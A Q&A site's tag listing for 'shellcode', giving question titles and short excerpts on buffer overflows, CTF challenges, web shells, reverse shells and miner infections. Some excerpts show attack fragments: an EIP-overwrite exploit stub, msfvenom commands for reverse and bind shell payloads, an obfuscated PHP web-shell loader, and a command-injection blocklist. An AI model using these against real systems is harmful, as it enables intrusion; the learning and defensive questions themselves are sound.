Questions tagged [shellcode]

In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.

Filter by
Sorted by
Tagged with
0
votes
0answers
38 views

Cyptomining on my AWS VPS [closed]

I was routinely checking up all my servers, I found a strange process with kthreaddk command running up and taking up all 100% CPU resources. After checking it out I found that www-data (default user ...
0
votes
1answer
73 views

Shellcode not executing despite EIP being overwritten properly

Here is my exploit: junk = b'A' * 1032 ​ eip = b"\xf5\x93\x4a\x00" # some address where 'jmp esp' lives shellcode = b"" shellcode += b"\x33\xc0" # xor eax, ...
0
votes
0answers
33 views

How to detect and prevent webshell uploading with offline methods?

We're developing a website using aspnet5, and providing a simple web page for uploading images by users. Users should only able to upload image files (jpg, png). We're using some mechanisms to check ...
0
votes
0answers
63 views

Shell does not execute after buffer overflow

I am trying to do a buffer overflow on 64-bit Kali VM. When I execute the program and inject the NOP sled + shellcode + return address, the shell does not execute. I think it might have something to ...
3
votes
1answer
114 views

Instruction Overwrites with Garbage?

I am practicing a function return address overwriting exploit. However, the program instruction pointer instead gets overwritten by gibberish. I have tried compiling with -fno-builtin and -fno-...
0
votes
0answers
92 views

metasploit's generic/custom payload

I'm trying to perform some custom & simple post-exploitation actions on a CTF machine. I used exploit/linux/local/sudo_baron_samedit, and it seemed to work: Since I'm looking to run my own code, ...
0
votes
1answer
53 views

What is claimed here about a vulnerability in the target of a “really common shell”?

in https://twitter.com/nnwakelam/status/1363761612423786496, its tweeted: fucking yikes.. ran every bitcoin exchange for a really common shell and found.... Uname: Linux cloudimage 4.4.0-166-generic ...
1
vote
1answer
50 views

CLI application running user defined command periodically [closed]

For a toy CLI application I'm writing, I'd like to store a string with an user defined command that will be executed periodically (like shell -c <command_string>). I have seen other applications ...
1
vote
1answer
245 views

BufferOverflow ESP too small for shellcode

I want to write an exploit for a test application that provides only 12 bytes of space at the ESP. I'm not able to place shellcode in such a small space. I have no clue what I can do to solve this. I ...
3
votes
1answer
289 views

How to avoid crash after successfully run shellcode?

I am a student studying information security. Recently I read this article link and made full exploit code. calc.exe is executed as expected. But after running shellcode, IE just crashed. (because no ...
2
votes
2answers
562 views

How do I gain root access to a system using a setuid root binary?

Assuming that I have no ability to use sudo and rather limited permissions, but I have a shell script exploit that allows to me change the file ownership of a file to the current user by running a ...
0
votes
0answers
81 views

Can't inject meterpreter shellcode in c++ code

I want to inject meterpreter shellcode in a c++ program . When i create .exe file in msfvenom i try it in my virtual machine (windows 7) and it works well but when i create shellcode and inject it in ...
0
votes
1answer
45 views

Automatically insertion of 00 in EIP in Stack Overflow 64bit

I am trying to overflow a stack in C sample code to execute uncalled function in code. The problem is when i overflow stack by entering a(24 times), $EIP is 0x555555550061. I want it to be ...
1
vote
0answers
116 views

MessageBoxA only shows up in debugger?

This question is related to crackmes.de's k1 by xtfusion. I'm trying to add custom shellcode through stack overflow. The shellcode works perfect under Windows XP (without ASLR) when the program is ...
0
votes
2answers
468 views

Can't execute shell i uploaded with cURL

I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension. When I open my shell with a web browser, it doesn't execute (confirmed with a packet ...
1
vote
1answer
205 views

Decompiling shellcode

I'm trying to understand how shellcode works. I wrote a simple program in C#, then I used Donut to create the shellcode from that exe in base64 format. Then, I wrote again another program to convert ...
1
vote
1answer
258 views

Exploit education stack-five: trouble opening shell

Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/). I run onto a problem while exploiting a stack overflow. The challenge is run execve('...
1
vote
1answer
4k views

Shellcode in MongoDB Python code

I know I can input this into a search box that queries the MongoDB. I have updated the code with my shell code, but I won't include that, I will just use the exploit as it is here: db.my_collection....
0
votes
0answers
62 views

Pwnable: Process has its own home directory

I recently started to do the pwnable.tw challenges. I have no problem understanding the actual buffer-overflow and shellcode injection. However, after the shell is spawned, the flag is read from /...
0
votes
2answers
431 views

Find Buffer Overflows at a target you want to gain access

I want to pass my OSCP exam and I am learning with the material I got. I watched the videos and read the pdf but I have a question about buffer overflows. In the example in the videos, the guy has ...
0
votes
1answer
72 views

How to block for open Web Shell in my CentOS 6

I currently use mod_security in combination with maldec and block almost all attempts to upload shells, leading them to error 406. However, I found one "problem" if I upload Shell through an ftp ...
0
votes
1answer
587 views

In Buffer overflow exploitation what if JMP ESP address contains bad characters?

I was writing an exploit for BOF. The server accepts only ASCII payloads. FInally I wnted to jump to my shellcode which is clearly in the stack. But only one module is available without ASLR and DEP ...
0
votes
1answer
991 views

Executing shellcode in python format [closed]

So after running the command: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py I receive the output: buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
1
vote
3answers
149 views

Why Does Only 1 Of These 2 Almost-identical Payloads Give Me A Shell?

I wrote a vulnerable test program to practice buffer overflows; however, I was having trouble getting it to work. Finally, after slightly modifying the return address, I was able to gain a shell, but ...
3
votes
2answers
2k views

Why is a shell not spawning after a buffer overflow exploit?

I started learning about stack-smashing after it came up during a CTF exercise. I have been practicing on an ELF 32-bit executable that I received for the CTF. After disassembling the binary file, I ...
2
votes
2answers
158 views

Basic questions about shellcode

Is the hex code at the top of this source file the same as the assembly at the bottom, as in they do the same thing? How can I convert assembly into hex like in this source code file? I frequently ...
1
vote
0answers
68 views

What's the point of this php shell? [duplicate]

What is the point of this shell code? There is no other code in the file. @preg_match_all("/\t \t(.+)\t\t/Ui",@file_get_contents(__FILE__),$r); $w="";foreach($r[1] as $v){@$w.=@chr(@strlen($v));} $e=...
0
votes
0answers
153 views

Windows shellcode not working in C

I have been trying to run a raw piece of shellcode collected on the net within a C wrapper to try it but it never works... I know the shellcode below is all right because it does work in the context ...
0
votes
0answers
559 views

permission denied when executing an elf payload

I can examine a payload using libemu (sctest) and ndisasm, like this : msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 1000 msfvenom -p linux/x86/shell_bind_tcp -f raw | ndisasm -u -...
0
votes
0answers
94 views

How to forbid user from executing malicious shell and Python script?

I am designing a online programming website similar to https://repl.it. Users can execute shell and python scripts on the browsers. If users execute malicious commands including but not limited to "...
1
vote
0answers
54 views

Confusing with the exact location of a shellcode in memory?

When we test a shellcode, we add it to a small C program and execute it in order to see it does the actual job we expect. But most of the time, it crashes saying 'segmentation fault'. I got the same ...
3
votes
1answer
846 views

Replace forbidden characters function check python

I have "blackbox" with the following python function code (without permission to change it): def exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') ...
0
votes
2answers
137 views

The most secure way to allow downloading and installing an app on Mac, Windows, or Linux

I have been introduced to the anti-bash-script-piping stuff such as these: Curl Bash Piping Wall of Shame (link broken) Piping curl to s(hell) Don't Pipe to your Shell The hidden dangers of piping ...
0
votes
2answers
393 views

Pickle Shellcode Import Error

I'm trying to execute pickle shell-code through a download function on a website but I get the following error: <html> <h1>ERROR: Cannot load file</h1> <!-- Traceback (most ...
1
vote
0answers
60 views

Why is generated different traffic for the same attack?

I created a scenario in VirtualBox (configured as internal network) with two machines: Windows XP and Kali Linux. I used ms08_067_netapi exploit from Metasploit and the payload windows/meterpreter/...
2
votes
1answer
410 views

Should the shellcode be “reversed” before beeing injected in a simple buffer overflow?

I'm new to buffer overflows and I'm trying to understand exactly what I'm doing before using any premade and easy to go scripts. My goal is to spawn a shell, so I found the asm code to do an execve("/...
0
votes
0answers
177 views

x86 shellcode leads to segmentation fault

I want to execute execve("/bin/dash", &"/bin/dash", NULL) on Ubuntu 64 bit with the following 32 bit shellcode: global _start _start: xor eax, eax ; set eax = 0 to push a null without using ...
0
votes
1answer
811 views

Shellcode as part of format string buffer

I'm currently trying out a simple format string vuln exploit. The target program looks like this: int main(int argc, char *argv[]) { char buffer[1024]; strncpy(buffer, argv[1], sizeof(buffer)...
1
vote
1answer
713 views

linux kernel exploit shellcode causes segfault

I'm learning how to write kernel exploits and my shellcode keeps seg faulting. I'm getting the memory address for commit_creds(prepare_kernel_cred(0)); #grep commit_creds /proc/kallsyms c907eea0 T ...
0
votes
0answers
138 views

Is JIT-compiler required for JIT-ROP attack?

I have been studying up on the concept of Just-in-Time (JIT) ROP attack (https://cs.unc.edu/~fabian/papers/oakland2013.pdf), and came across this question which I have not been able to find the ...
0
votes
0answers
239 views

Shell injection using only [alphanumeric, dashes, colon, period]

I found an html form with a single input field, where the inputted text is used as the argument (or rather just the last part) of a ping command on the server. When submitting the form, the following ...
1
vote
1answer
388 views

shellcode JMP-CALL-POP technique ( Segmentation fault (core dumped) )

I write this shellcode for spawn a shell on the box using JMP-CALL-POP technique but i keep got this error i don't now why !! Segmentation fault (core dumped) my shellcode : section .text ...
1
vote
2answers
5k views

Reverse shell refusing/difficulties to establish connection

I've been trying to reverse shell between different devices, however, I'm never able to establish a connection or get a shell prompt . Let's say I have a Mac OSX as victim and use a raspberry Pi ...
1
vote
1answer
1k views

What is the purpose of the instruction fldz on the Aaron Adams shellcode?

I'm studying the Aaron Adams assembly code. You can find the documentation here (section --[ 2.b.i Getting EIP). I understand that the goal is to get the EIP. I know that the FPU environment looks ...
1
vote
2answers
231 views

How is executable shellcode inserted?

How is shellcode (the payload) added to an executable file? Assume it is close source. How does the hacker then get the address of where it is? They need this for when they overwrite the return ...
3
votes
2answers
3k views

A process called ./watchbog is mining crypto currency in our server. How do I stop it? [duplicate]

I have found this question below but I need some more clarification that's why I am writing again. I have a process called “watchbog” that is completely hogging my CPU and I don't know what it is ...
2
votes
0answers
107 views

Shellcode different on guide

I followed a guide to do narnia2 of overthewire and the shellcode generated by them was: h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80 ...
3
votes
1answer
775 views

Where in a binary can '/bin/sh' be written to get a shell?

I've come across some behaviour in a CTF challenge that seems very strange and I was wondering if someone could help me understand it. The CTF challenge was the can-you-gets-me challenge in ...
1
vote
1answer
479 views

Shellcode getting segmentation fault on vmware

I'm learning exploitation, and I downloaded some execve("/bin/sh") shellcode from exploit-db to use it in simple buffer overflow example. When I execute the program I am getting segmentation fault. I'...
3
votes
2answers
11k views

Is it possible to execute a local file or code from cURL?

I wonder if it is possible to execute bash code or a local file from cURL, that is, using the following syntax: curl "local file" I was looking for possible solutions and found that to read the ...

1
2 3 4 5